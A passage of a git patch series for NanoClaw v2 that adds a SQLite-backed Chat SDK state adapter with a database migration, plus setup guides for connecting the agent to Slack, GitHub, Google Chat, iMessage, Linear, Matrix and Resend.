setupConfig = hostConfig; conversations = buildConversationMap(hostConfig.conversations); - state = createMemoryState(); + state = new SqliteStateAdapter(); chat = new Chat({ adapters: { [adapter.name]: adapter }, @@ -105,14 +113,6 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter await chat.initialize(); - // Subscribe registered conversations (after initialize connects state) - for (const conv of hostConfig.conversations) { - if (conv.agentGroupId) { - const threadId = adapter.encodeThreadId({ guildId: '', channelId: conv.platformId } as never); - await state.subscribe(threadId); - } - } - // Start Gateway listener for adapters that support it (e.g., Discord) if (adapter.startGatewayListener) { gatewayAbort = new AbortController(); @@ -184,11 +184,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter title: '❓ Question', children: [ CardText(content.question as string), - Actions( - options.map((opt) => - Button({ id: `ncq:${questionId}:${opt}`, label: opt, value: opt }), - ), - ), + Actions(options.map((opt) => Button({ id: `ncq:${questionId}:${opt}`, label: opt, value: opt }))), ], }); await adapter.postMessage(tid, { card, fallbackText: `${content.question}\nOptions: ${options.join(', ')}` }); @@ -229,13 +225,6 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter updateConversations(configs: ConversationConfig[]) { conversations = buildConversationMap(configs); - // Subscribe new conversations - for (const conv of configs) { - if (conv.agentGroupId) { - const threadId = adapter.encodeThreadId({ guildId: '', channelId: conv.platformId } as never); - state.subscribe(threadId).catch(() => {}); - } - } }, }; } @@ -246,7 +235,11 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter * sends ALL raw events (including INTERACTION_CREATE for button clicks) * to the webhookUrl, which we handle here. */ -function startLocalWebhookServer(adapter: GatewayAdapter, setupConfig: ChannelSetup, botToken?: string): Promise { +function startLocalWebhookServer( + adapter: GatewayAdapter, + setupConfig: ChannelSetup, + botToken?: string, +): Promise { return new Promise((resolve) => { const server = http.createServer((req, res) => { const chunks: Buffer[] = []; @@ -275,7 +268,12 @@ function startLocalWebhookServer(adapter: GatewayAdapter, setupConfig: ChannelSe }); } -async function handleForwardedEvent(body: string, adapter: GatewayAdapter, setupConfig: ChannelSetup, botToken?: string): Promise { +async function handleForwardedEvent( + body: string, + adapter: GatewayAdapter, + setupConfig: ChannelSetup, + botToken?: string, +): Promise { let event: { type: string; data: Record }; try { event = JSON.parse(body); @@ -305,7 +303,8 @@ async function handleForwardedEvent(body: string, adapter: GatewayAdapter, setup } // Update the card to show the selected answer and remove buttons - const originalEmbeds = ((interaction.message as Record)?.embeds as Array>) || []; + const originalEmbeds = + ((interaction.message as Record)?.embeds as Array>) || []; const originalDescription = (originalEmbeds[0]?.description as string) || ''; try { await fetch(`https://discord.com/api/v10/interactions/${interactionId}/${interactionToken}/callback`, { diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts index c1b0aac..81bbd50 100644 --- a/src/container-runner-v2.ts +++ b/src/container-runner-v2.ts @@ -12,6 +12,7 @@ import { OneCLI } from '@onecli-sh/sdk'; import { CONTAINER_IMAGE, DATA_DIR, GROUPS_DIR, IDLE_TIMEOUT, ONECLI_URL, TIMEZONE } from './config.js'; import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; import { getAgentGroup } from './db/agent-groups.js'; +import { getMessagingGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; import { @@ -227,6 +228,17 @@ async function buildContainerArgs( args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); + // Pass admin user ID and assistant name from messaging group/agent group + if (session.messaging_group_id) { + const mg = getMessagingGroup(session.messaging_group_id); + if (mg?.admin_user_id) { + args.push('-e', `NANOCLAW_ADMIN_USER_ID=${mg.admin_user_id}`); + } + } + if (agentGroup.name) { + args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); + } + // OneCLI gateway const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); if (onecliApplied) { diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index daa9576..bea9334 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -62,7 +62,7 @@ describe('migrations', () => { const db = initTestDb(); runMigrations(db); const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; - expect(row.v).toBe(1); + expect(row.v).toBe(2); }); }); diff --git a/src/db/migrations/002-chat-sdk-state.ts b/src/db/migrations/002-chat-sdk-state.ts new file mode 100644 index 0000000..0861af4 --- /dev/null +++ b/src/db/migrations/002-chat-sdk-state.ts @@ -0,0 +1,36 @@ +import type Database from 'better-sqlite3'; + +import type { Migration } from './index.js'; + +export const migration002: Migration = { + version: 2, + name: 'chat-sdk-state', + up(db: Database.Database) { + db.exec(` + CREATE TABLE chat_sdk_kv ( + key TEXT PRIMARY KEY, + value TEXT NOT NULL, + expires_at INTEGER + ); + + CREATE TABLE chat_sdk_subscriptions ( + thread_id TEXT PRIMARY KEY, + subscribed_at TEXT NOT NULL DEFAULT (datetime('now')) + ); + + CREATE TABLE chat_sdk_locks ( + thread_id TEXT PRIMARY KEY, + token TEXT NOT NULL, + expires_at INTEGER NOT NULL + ); + + CREATE TABLE chat_sdk_lists ( + key TEXT NOT NULL, + idx INTEGER NOT NULL, + value TEXT NOT NULL, + expires_at INTEGER, + PRIMARY KEY (key, idx) + ); + `); + }, +}; diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index 54e848c..114a521 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -2,6 +2,7 @@ import type Database from 'better-sqlite3'; import { log } from '../../log.js'; import { migration001 } from './001-initial.js'; +import { migration002 } from './002-chat-sdk-state.js'; export interface Migration { version: number; @@ -9,7 +10,7 @@ export interface Migration { up: (db: Database.Database) => void; } -const migrations: Migration[] = [migration001]; +const migrations: Migration[] = [migration001, migration002]; export function runMigrations(db: Database.Database): void { db.exec(` diff --git a/src/host-sweep.ts b/src/host-sweep.ts index 0c8ca41..d93d821 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -142,7 +142,17 @@ async function sweepSession(session: Session): Promise { db.prepare( `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, - ).run(newId, nextSeq, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + ).run( + newId, + nextSeq, + msg.kind, + nextRun, + msg.recurrence, + msg.platform_id, + msg.channel_type, + msg.thread_id, + msg.content, + ); // Remove recurrence from the completed message so it doesn't spawn again db.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); diff --git a/src/state-sqlite.ts b/src/state-sqlite.ts new file mode 100644 index 0000000..64731a2 --- /dev/null +++ b/src/state-sqlite.ts @@ -0,0 +1,160 @@ +/** + * Chat SDK StateAdapter backed by SQLite. + * Persists subscriptions, locks, KV, and lists across restarts. + * + * Ported from feat/chat-sdk-integration branch. + */ +import crypto from 'crypto'; + +import type Database from 'better-sqlite3'; +import type { StateAdapter, QueueEntry } from 'chat'; + +import { getDb } from './db/connection.js'; + +interface Lock { + threadId: string; + token: string; + expiresAt: number; +} + +export class SqliteStateAdapter implements StateAdapter { + private db!: Database.Database; + + async connect(): Promise { + this.db = getDb(); + this.cleanup(); + } + + async disconnect(): Promise {} + + // --- Key-value --- + + async get(key: string): Promise { + this.cleanup(); + const row = this.db + .prepare('SELECT value, expires_at FROM chat_sdk_kv WHERE key = ?') + .get(key) as { value: string; expires_at: number | null } | undefined; + if (!row) return null; + if (row.expires_at && row.expires_at < Date.now()) { + this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); + return null; + } + return JSON.parse(row.value) as T; + } + + async set(key: string, value: T, ttlMs?: number): Promise { + const expiresAt = ttlMs ? Date.now() + ttlMs : null; + this.db.prepare('INSERT OR REPLACE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)').run(key, JSON.stringify(value), expiresAt); + } + + async setIfNotExists(key: string, value: unknown, ttlMs?: number): Promise { + const existing = this.db.prepare('SELECT expires_at FROM chat_sdk_kv WHERE key = ?').get(key) as { expires_at: number | null } | undefined; + if (existing?.expires_at && existing.expires_at < Date.now()) { + this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); + } + const expiresAt = ttlMs ? Date.now() + ttlMs : null; + const result = this.db.prepare('INSERT OR IGNORE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)').run(key, JSON.stringify(value), expiresAt); + return result.changes > 0; + } + + async delete(key: string): Promise { + this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); + } + + // --- Subscriptions --- + + async subscribe(threadId: string): Promise { + this.db.prepare('INSERT OR REPLACE INTO chat_sdk_subscriptions (thread_id) VALUES (?)').run(threadId); + } + + async unsubscribe(threadId: string): Promise { + this.db.prepare('DELETE FROM chat_sdk_subscriptions WHERE thread_id = ?').run(threadId); + } + + async isSubscribed(threadId: string): Promise { + const row = this.db.prepare('SELECT 1 FROM chat_sdk_subscriptions WHERE thread_id = ? LIMIT 1').get(threadId); + return !!row; + } + + // --- Locks --- + + async acquireLock(threadId: string, ttlMs: number): Promise { + const now = Date.now(); + const token = crypto.randomUUID(); + const expiresAt = now + ttlMs; + this.db.prepare('DELETE FROM chat_sdk_locks WHERE thread_id = ? AND expires_at < ?').run(threadId, now); + const result = this.db.prepare('INSERT OR IGNORE INTO chat_sdk_locks (thread_id, token, expires_at) VALUES (?, ?, ?)').run(threadId, token, expiresAt); + if (result.changes === 0) return null; + return { threadId, token, expiresAt }; + } + + async releaseLock(lock: Lock): Promise { + this.db.prepare('DELETE FROM chat_sdk_locks WHERE thread_id = ? AND token = ?').run(lock.threadId, lock.token); + } + + async extendLock(lock: Lock, ttlMs: number): Promise { + const newExpiry = Date.now() + ttlMs; + const result = this.db.prepare('UPDATE chat_sdk_locks SET expires_at = ? WHERE thread_id = ? AND token = ?').run(newExpiry, lock.threadId, lock.token); + if (result.changes > 0) { + lock.expiresAt = newExpiry; + return true; + } + return false; + } + + async forceReleaseLock(threadId: string): Promise { + this.db.prepare('DELETE FROM chat_sdk_locks WHERE thread_id = ?').run(threadId); + } + + // --- Lists --- + + async appendToList(key: string, value: unknown, options?: { maxLength?: number; ttlMs?: number }): Promise { + const expiresAt = options?.ttlMs ? Date.now() + options.ttlMs : null; + const maxRow = this.db.prepare('SELECT MAX(idx) as maxIdx FROM chat_sdk_lists WHERE key = ?').get(key) as { maxIdx: number | null } | undefined; + const nextIdx = (maxRow?.maxIdx ?? -1) + 1; + this.db.prepare('INSERT INTO chat_sdk_lists (key, idx, value, expires_at) VALUES (?, ?, ?, ?)').run(key, nextIdx, JSON.stringify(value), expiresAt); + if (options?.maxLength) { + const cutoff = nextIdx - options.maxLength; + if (cutoff >= 0) { + this.db.prepare('DELETE FROM chat_sdk_lists WHERE key = ? AND idx <= ?').run(key, cutoff); + } + } + } + + async getList(key: string): Promise { + const now = Date.now(); + const rows = this.db.prepare('SELECT value FROM chat_sdk_lists WHERE key = ? AND (expires_at IS NULL OR expires_at > ?) ORDER BY idx ASC').all(key, now) as { value: string }[]; + return rows.map((r) => JSON.parse(r.value) as T); + } + + // --- Queue --- + + async enqueue(threadId: string, entry: QueueEntry, maxSize: number): Promise { + const key = `queue:${threadId}`; + await this.appendToList(key, entry, { maxLength: maxSize }); + return await this.queueDepth(threadId); + } + + async dequeue(threadId: string): Promise { + const key = `queue:${threadId}`; + const row = this.db.prepare('SELECT idx, value FROM chat_sdk_lists WHERE key = ? ORDER BY idx ASC LIMIT 1').get(key) as { idx: number; value: string } | undefined; + if (!row) return null; + this.db.prepare('DELETE FROM chat_sdk_lists WHERE key = ? AND idx = ?').run(key, row.idx); + return JSON.parse(row.value) as QueueEntry; + } + + async queueDepth(threadId: string): Promise { + const key = `queue:${threadId}`; + const row = this.db.prepare('SELECT COUNT(*) as count FROM chat_sdk_lists WHERE key = ?').get(key) as { count: number }; + return row.count; + } + + // --- Cleanup --- + + private cleanup(): void { + const now = Date.now(); + this.db.prepare('DELETE FROM chat_sdk_kv WHERE expires_at IS NOT NULL AND expires_at < ?').run(now); + this.db.prepare('DELETE FROM chat_sdk_locks WHERE expires_at < ?').run(now); + this.db.prepare('DELETE FROM chat_sdk_lists WHERE expires_at IS NOT NULL AND expires_at < ?').run(now); + } +} From 12af4510690ab7f9d63b0bc4413d8264fb659705 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 11:26:33 +0300 Subject: [PATCH 021/295] v2: add Chat SDK channel adapters and skills for 11 platforms MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Thin wrapper adapters + SKILL.md for Slack, Telegram, GitHub, Linear, Google Chat, Teams, WhatsApp Cloud API, Resend, Matrix, Webex, iMessage. All follow the same pattern as discord-v2.ts: readEnvFile → create*Adapter → createChatSdkBridge → registerChannelAdapter. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-gchat-v2/SKILL.md | 78 ++++++++ .claude/skills/add-github-v2/SKILL.md | 80 ++++++++ .claude/skills/add-imessage-v2/SKILL.md | 86 ++++++++ .claude/skills/add-linear-v2/SKILL.md | 77 +++++++ .claude/skills/add-matrix-v2/SKILL.md | 77 +++++++ .claude/skills/add-resend-v2/SKILL.md | 79 ++++++++ .claude/skills/add-slack-v2/SKILL.md | 81 ++++++++ .claude/skills/add-teams-v2/SKILL.md | 75 +++++++ .claude/skills/add-telegram-v2/SKILL.md | 82 ++++++++ .claude/skills/add-webex-v2/SKILL.md | 75 +++++++ .claude/skills/add-whatsapp-cloud-v2/SKILL.md | 82 ++++++++ docs/v2-checklist.md | 189 ++++++++++++++++++ src/channels/gchat-v2.ts | 20 ++ src/channels/github-v2.ts | 22 ++ src/channels/imessage-v2.ts | 25 +++ src/channels/index.ts | 38 +++- src/channels/linear-v2.ts | 22 ++ src/channels/matrix-v2.ts | 23 +++ src/channels/resend-v2.ts | 23 +++ src/channels/slack-v2.ts | 21 ++ src/channels/teams-v2.ts | 21 ++ src/channels/telegram-v2.ts | 21 ++ src/channels/webex-v2.ts | 21 ++ src/channels/whatsapp-cloud-v2.ts | 24 +++ 24 files changed, 1338 insertions(+), 4 deletions(-) create mode 100644 .claude/skills/add-gchat-v2/SKILL.md create mode 100644 .claude/skills/add-github-v2/SKILL.md create mode 100644 .claude/skills/add-imessage-v2/SKILL.md create mode 100644 .claude/skills/add-linear-v2/SKILL.md create mode 100644 .claude/skills/add-matrix-v2/SKILL.md create mode 100644 .claude/skills/add-resend-v2/SKILL.md create mode 100644 .claude/skills/add-slack-v2/SKILL.md create mode 100644 .claude/skills/add-teams-v2/SKILL.md create mode 100644 .claude/skills/add-telegram-v2/SKILL.md create mode 100644 .claude/skills/add-webex-v2/SKILL.md create mode 100644 .claude/skills/add-whatsapp-cloud-v2/SKILL.md create mode 100644 docs/v2-checklist.md create mode 100644 src/channels/gchat-v2.ts create mode 100644 src/channels/github-v2.ts create mode 100644 src/channels/imessage-v2.ts create mode 100644 src/channels/linear-v2.ts create mode 100644 src/channels/matrix-v2.ts create mode 100644 src/channels/resend-v2.ts create mode 100644 src/channels/slack-v2.ts create mode 100644 src/channels/teams-v2.ts create mode 100644 src/channels/telegram-v2.ts create mode 100644 src/channels/webex-v2.ts create mode 100644 src/channels/whatsapp-cloud-v2.ts diff --git a/.claude/skills/add-gchat-v2/SKILL.md b/.claude/skills/add-gchat-v2/SKILL.md new file mode 100644 index 0000000..cf1a573 --- /dev/null +++ b/.claude/skills/add-gchat-v2/SKILL.md @@ -0,0 +1,78 @@ +--- +name: add-gchat-v2 +description: Add Google Chat channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Google Chat Channel (v2) + +This skill adds Google Chat support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/gchat-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/gchat +``` + +### Enable the channel + +Uncomment the Google Chat import in `src/channels/index.ts`: + +```typescript +import './gchat-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Google Chat App + +> 1. Go to [Google Cloud Console](https://console.cloud.google.com) +> 2. Create or select a project +> 3. Enable the **Google Chat API** +> 4. Go to **Google Chat API** > **Configuration**: +> - App name and description +> - Connection settings: select **HTTP endpoint URL** and set to `https://your-domain/webhook/gchat` +> 5. Create a **Service Account**: +> - Go to **IAM & Admin** > **Service Accounts** > **Create Service Account** +> - Grant the Chat Bot role +> - Create a JSON key and download it + +### Configure environment + +Add the service account JSON as a single-line string to `.env`: + +```bash +GCHAT_CREDENTIALS={"type":"service_account","project_id":"...","private_key":"...","client_email":"..."} +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Add the bot to a Google Chat space, then send a message or @mention the bot. + +## Removal + +1. Comment out `import './gchat-v2.js'` in `src/channels/index.ts` +2. Remove `GCHAT_CREDENTIALS` from `.env` +3. `npm uninstall @chat-adapter/gchat` +4. Rebuild and restart diff --git a/.claude/skills/add-github-v2/SKILL.md b/.claude/skills/add-github-v2/SKILL.md new file mode 100644 index 0000000..44e7a41 --- /dev/null +++ b/.claude/skills/add-github-v2/SKILL.md @@ -0,0 +1,80 @@ +--- +name: add-github-v2 +description: Add GitHub channel integration to NanoClaw v2 via Chat SDK. PR comment threads as conversations. +--- + +# Add GitHub Channel (v2) + +This skill adds GitHub support to NanoClaw v2 using the Chat SDK bridge. The agent can participate in PR comment threads. + +## Phase 1: Pre-flight + +Check if `src/channels/github-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/github +``` + +### Enable the channel + +Uncomment the GitHub import in `src/channels/index.ts`: + +```typescript +import './github-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create GitHub credentials + +> 1. Go to [GitHub Settings > Developer Settings > Personal Access Tokens](https://github.com/settings/tokens) +> 2. Create a **Fine-grained token** with: +> - Repository access: select the repos you want the bot to monitor +> - Permissions: **Pull requests** (Read & Write), **Issues** (Read & Write) +> 3. Copy the token +> 4. Set up a webhook on your repo(s): +> - Go to **Settings** > **Webhooks** > **Add webhook** +> - Payload URL: `https://your-domain/webhook/github` +> - Content type: `application/json` +> - Secret: generate a random string +> - Events: select **Issue comments**, **Pull request review comments** + +### Configure environment + +Add to `.env`: + +```bash +GITHUB_TOKEN=github_pat_... +GITHUB_WEBHOOK_SECRET=your-webhook-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> @mention the bot in a PR comment or issue comment. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './github-v2.js'` in `src/channels/index.ts` +2. Remove `GITHUB_TOKEN` and `GITHUB_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @chat-adapter/github` +4. Rebuild and restart diff --git a/.claude/skills/add-imessage-v2/SKILL.md b/.claude/skills/add-imessage-v2/SKILL.md new file mode 100644 index 0000000..33121ee --- /dev/null +++ b/.claude/skills/add-imessage-v2/SKILL.md @@ -0,0 +1,86 @@ +--- +name: add-imessage-v2 +description: Add iMessage channel integration to NanoClaw v2 via Chat SDK. Local (macOS) or remote (Photon API) mode. +--- + +# Add iMessage Channel (v2) + +This skill adds iMessage support to NanoClaw v2 using the Chat SDK bridge. Supports local mode (macOS with Full Disk Access) and remote mode (via Photon API). + +## Phase 1: Pre-flight + +Check if `src/channels/imessage-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install chat-adapter-imessage +``` + +### Enable the channel + +Uncomment the iMessage import in `src/channels/index.ts`: + +```typescript +import './imessage-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Local Mode (macOS) + +> **Requirements**: macOS with Full Disk Access granted to your terminal/Node.js process. +> +> 1. Go to **System Settings** > **Privacy & Security** > **Full Disk Access** +> 2. Add your terminal app (Terminal, iTerm2, etc.) or the Node.js binary +> 3. The adapter reads directly from the iMessage database on disk + +### Remote Mode (Photon API) + +> 1. Set up a [Photon](https://photon.im) account +> 2. Get your server URL and API key + +### Configure environment + +**Local mode** — add to `.env`: + +```bash +IMESSAGE_ENABLED=true +IMESSAGE_LOCAL=true +``` + +**Remote mode** — add to `.env`: + +```bash +IMESSAGE_LOCAL=false +IMESSAGE_SERVER_URL=https://your-photon-server.com +IMESSAGE_API_KEY=your-api-key +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +``` + +## Phase 4: Verify + +> Send an iMessage to the account running NanoClaw. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './imessage-v2.js'` in `src/channels/index.ts` +2. Remove iMessage env vars from `.env` +3. `npm uninstall chat-adapter-imessage` +4. Rebuild and restart diff --git a/.claude/skills/add-linear-v2/SKILL.md b/.claude/skills/add-linear-v2/SKILL.md new file mode 100644 index 0000000..9ba6f8a --- /dev/null +++ b/.claude/skills/add-linear-v2/SKILL.md @@ -0,0 +1,77 @@ +--- +name: add-linear-v2 +description: Add Linear channel integration to NanoClaw v2 via Chat SDK. Issue comment threads as conversations. +--- + +# Add Linear Channel (v2) + +This skill adds Linear support to NanoClaw v2 using the Chat SDK bridge. The agent can participate in issue comment threads. + +## Phase 1: Pre-flight + +Check if `src/channels/linear-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/linear +``` + +### Enable the channel + +Uncomment the Linear import in `src/channels/index.ts`: + +```typescript +import './linear-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Linear credentials + +> 1. Go to [Linear Settings > API](https://linear.app/settings/api) +> 2. Create a **Personal API Key** (or use an OAuth application for team-wide access) +> 3. Copy the API key +> 4. Set up a webhook: +> - Go to **Settings** > **API** > **Webhooks** > **New webhook** +> - URL: `https://your-domain/webhook/linear` +> - Select events: **Comment** (created, updated) +> - Copy the signing secret + +### Configure environment + +Add to `.env`: + +```bash +LINEAR_API_KEY=lin_api_... +LINEAR_WEBHOOK_SECRET=your-webhook-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> @mention the bot in a Linear issue comment. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './linear-v2.js'` in `src/channels/index.ts` +2. Remove `LINEAR_API_KEY` and `LINEAR_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @chat-adapter/linear` +4. Rebuild and restart diff --git a/.claude/skills/add-matrix-v2/SKILL.md b/.claude/skills/add-matrix-v2/SKILL.md new file mode 100644 index 0000000..1e4848f --- /dev/null +++ b/.claude/skills/add-matrix-v2/SKILL.md @@ -0,0 +1,77 @@ +--- +name: add-matrix-v2 +description: Add Matrix channel integration to NanoClaw v2 via Chat SDK. Works with any Matrix homeserver (Element, Beeper, etc.). +--- + +# Add Matrix Channel (v2) + +This skill adds Matrix support to NanoClaw v2 using the Chat SDK bridge. Works with any Matrix homeserver. + +## Phase 1: Pre-flight + +Check if `src/channels/matrix-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @beeper/chat-adapter-matrix +``` + +### Enable the channel + +Uncomment the Matrix import in `src/channels/index.ts`: + +```typescript +import './matrix-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Matrix bot account + +> 1. Register a bot account on your Matrix homeserver (e.g., via Element) +> 2. Get the homeserver URL (e.g., `https://matrix.org` or your self-hosted URL) +> 3. Get an access token: +> - In Element: **Settings** > **Help & About** > **Access Token** (advanced) +> - Or via API: `curl -XPOST 'https://matrix.org/_matrix/client/r0/login' -d '{"type":"m.login.password","user":"botuser","password":"..."}'` +> 4. Note the bot's user ID (e.g., `@botuser:matrix.org`) + +### Configure environment + +Add to `.env`: + +```bash +MATRIX_BASE_URL=https://matrix.org +MATRIX_ACCESS_TOKEN=your-access-token +MATRIX_USER_ID=@botuser:matrix.org +MATRIX_BOT_USERNAME=botuser +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Invite the bot to a Matrix room and send a message. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './matrix-v2.js'` in `src/channels/index.ts` +2. Remove `MATRIX_BASE_URL`, `MATRIX_ACCESS_TOKEN`, `MATRIX_USER_ID`, `MATRIX_BOT_USERNAME` from `.env` +3. `npm uninstall @beeper/chat-adapter-matrix` +4. Rebuild and restart diff --git a/.claude/skills/add-resend-v2/SKILL.md b/.claude/skills/add-resend-v2/SKILL.md new file mode 100644 index 0000000..f858037 --- /dev/null +++ b/.claude/skills/add-resend-v2/SKILL.md @@ -0,0 +1,79 @@ +--- +name: add-resend-v2 +description: Add Resend (email) channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Resend Email Channel (v2) + +This skill adds email support via Resend to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/resend-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @resend/chat-sdk-adapter +``` + +### Enable the channel + +Uncomment the Resend import in `src/channels/index.ts`: + +```typescript +import './resend-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Resend credentials + +> 1. Go to [resend.com](https://resend.com) and create an account +> 2. Add and verify your sending domain +> 3. Go to **API Keys** and create a new key +> 4. Set up a webhook: +> - Go to **Webhooks** > **Add webhook** +> - URL: `https://your-domain/webhook/resend` +> - Events: select **email.received** (for inbound email) +> - Copy the signing secret + +### Configure environment + +Add to `.env`: + +```bash +RESEND_API_KEY=re_... +RESEND_FROM_ADDRESS=bot@yourdomain.com +RESEND_FROM_NAME=NanoClaw +RESEND_WEBHOOK_SECRET=your-webhook-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Send an email to the configured from address. The bot should respond via email within a few seconds. + +## Removal + +1. Comment out `import './resend-v2.js'` in `src/channels/index.ts` +2. Remove `RESEND_API_KEY`, `RESEND_FROM_ADDRESS`, `RESEND_FROM_NAME`, `RESEND_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @resend/chat-sdk-adapter` +4. Rebuild and restart diff --git a/.claude/skills/add-slack-v2/SKILL.md b/.claude/skills/add-slack-v2/SKILL.md new file mode 100644 index 0000000..c5b5a17 --- /dev/null +++ b/.claude/skills/add-slack-v2/SKILL.md @@ -0,0 +1,81 @@ +--- +name: add-slack-v2 +description: Add Slack channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Slack Channel (v2) + +This skill adds Slack support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/slack-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/slack +``` + +### Enable the channel + +Uncomment the Slack import in `src/channels/index.ts`: + +```typescript +import './slack-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Slack App (if needed) + +If the user doesn't have a Slack app: + +> 1. Go to [api.slack.com/apps](https://api.slack.com/apps) and click **Create New App** > **From scratch** +> 2. Name it (e.g., "NanoClaw") and select your workspace +> 3. Go to **OAuth & Permissions** and add Bot Token Scopes: +> - `chat:write`, `channels:history`, `groups:history`, `im:history`, `channels:read`, `groups:read`, `users:read`, `reactions:write` +> 4. Click **Install to Workspace** and copy the **Bot User OAuth Token** (`xoxb-...`) +> 5. Go to **Basic Information** and copy the **Signing Secret** +> 6. Go to **Event Subscriptions**, enable events, and subscribe to: +> - `message.channels`, `message.groups`, `message.im`, `app_mention` +> 7. Set the Request URL to your webhook endpoint (e.g., `https://your-domain/webhook/slack`) + +### Configure environment + +Add to `.env`: + +```bash +SLACK_BOT_TOKEN=xoxb-your-bot-token +SLACK_SIGNING_SECRET=your-signing-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux 